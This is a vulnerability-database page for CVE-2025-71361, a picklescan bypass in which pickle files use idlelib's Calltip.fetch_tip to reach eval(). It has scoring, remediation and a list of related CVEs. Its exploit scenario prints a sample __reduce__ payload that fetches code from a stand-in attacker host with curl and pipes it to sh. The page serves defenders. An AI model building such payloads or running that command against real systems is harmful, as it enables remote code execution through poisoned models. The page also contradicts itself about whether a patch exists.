Skip to main content

picklescan CVE-2025-71361

| EUVDEUVD-2025-210328 HIGH
Eval Injection (CWE-95)
2026-06-24 VulnCheck
7.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft pickle with Calltip.fetch_tip reduce payload
  2. Delivery
    Publish as PyTorch model on hub or repo
  3. Exploit
    Victim scans with picklescan ≤0.0.28 (clean verdict)
  4. Execution
    Victim invokes pickle.load/torch.load
  5. Persist
    eval() executes attacker command
  6. Impact
    Arbitrary code runs as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the target both (1) use picklescan at version <0.0.29 as a pre-deserialization safety check and (2) subsequently deserialize the attacker-supplied pickle file with pickle.load() (or torch.load() / joblib.load() backed by pickle). The attacker must deliver a crafted pickle/model artifact that the victim chooses to scan and load - there is no remote-listener exposure. Exploitation succeeds against default picklescan configurations (no special flags required) on any Python installation where idlelib is available, which is the standard CPython distribution; environments that load pickles without picklescan, or that use safetensors, are not in scope for this specific bypass.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N) accurately reflects the attack model: delivery is network-borne via a malicious model file, but exploitation requires the victim to (a) actively choose to scan with picklescan and (b) then load the file with pickle.load - hence UI:P and the Attack Requirement (AT:P) of a specific deserialization workflow. EPSS data was not provided and the CVE is not listed in CISA KEV, so there is no signal of in-the-wild exploitation; however, a working PoC is published in the GHSA advisory, which materially lowers the barrier for opportunistic abuse in the ML supply chain. Net real-world risk is moderate-to-high for organizations that treat picklescan as a security gate for third-party models - the tool's clean verdict gives a false sense of safety, which is the most dangerous failure mode.

Exploit ScenarioDerived

An attacker publishes a backdoored PyTorch model on a public hub whose pickle stream contains a __reduce__ returning (Calltip().fetch_tip, ("__import__('os').system('curl attacker|sh')",)). A victim ML engineer or CI pipeline runs picklescan (≤0.0.28), receives a clean verdict, and then calls torch.load()/pickle.load(), at which point the embedded command executes with the user's privileges. A complete PoC is already published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 24, 2026

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected idlelib.calltip.Calltip.fetch_tip function, enabling arbitrary code execution when the file is later loaded via pickle.load(). Affects ML supply chains relying on picklescan to vet PyTorch models; publicly available exploit code exists in the GHSA advisory, but no public exploit identified in active campaigns at time of analysis.

RemediationAI

Vendor-released patch: upgrade picklescan to 0.0.29 or later (pip install --upgrade 'picklescan>=0.0.29'); the fix corresponds to upstream commit aecd11be98702caa9ba9b12189d91ad596a36114, which extends the dangerous-globals list to cover idlelib.calltip.Calltip.fetch_tip. Until the upgrade is rolled out across all scanning hosts, treat any picklescan verdict from older versions as untrusted and refuse to pickle.load() files from untrusted sources; for organizations that cannot upgrade immediately, a workable compensating control is to load model weights through safer formats such as safetensors (which removes the pickle attack surface entirely) or to run pickle.load only inside a hardened sandbox (gVisor, Firejail, ephemeral container with no network/secrets), accepting the latency and tooling cost. Consult the GHSA advisory (https://github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9) for the authoritative fix details.

Affected VersionsENISA

picklescan 0 <0.0.29

Affected Packages

pypi picklescan fix: 0.0.29

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python library used to statically inspect pickle files (commonly distributed inside PyTorch/Hugging Face model artifacts) for invocations of dangerous callables before they are deserialized. The flaw is a classic CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) gap in picklescan's blocklist: idlelib.calltip.Calltip.fetch_tip internally calls get_entity(), which passes its argument to eval(). Because this function lives in Python's standard idlelib package, it is reachable on any default Python installation, yet was not enumerated in picklescan's dangerous-function list prior to 0.0.29 (CPE cpe:2.3:a:picklescan:picklescan:*).

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-delivered malicious file with low complexity and no auth, but requires the victim to scan-then-load (UI:R); full code execution gives C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 24, 2026 - 13:01 EUVD

DescriptionCVE.org

picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().

Executive ViewAI

Why It Matters

picklescan, a security tool for validating PyTorch model integrity in machine learning supply chains, contains a detection bypass vulnerability (CVE-2025-71361) that allows malicious pickle files to evade validation and execute arbitrary code when loaded. Publicly available exploit code exists; the vulnerability exposes organizations using picklescan to supply chain poisoning attacks that could compromise downstream applications.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement interim mitigations: (1) manual code review of all pickle file sources before deployment; (2) restrict model loading to internally-developed or directly-sourced models from established vendors; (3) isolate model loading environments to limit blast radius of arbitrary code execution; (4) implement runtime monitoring of model execution for anomalous behavior; (5) maintain audit logs of all model loading activities.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Low
niche ML-security utility, narrow audience scanning pickle/PyTorch model files
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71351 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71365 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b

CVE-2025-71354 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy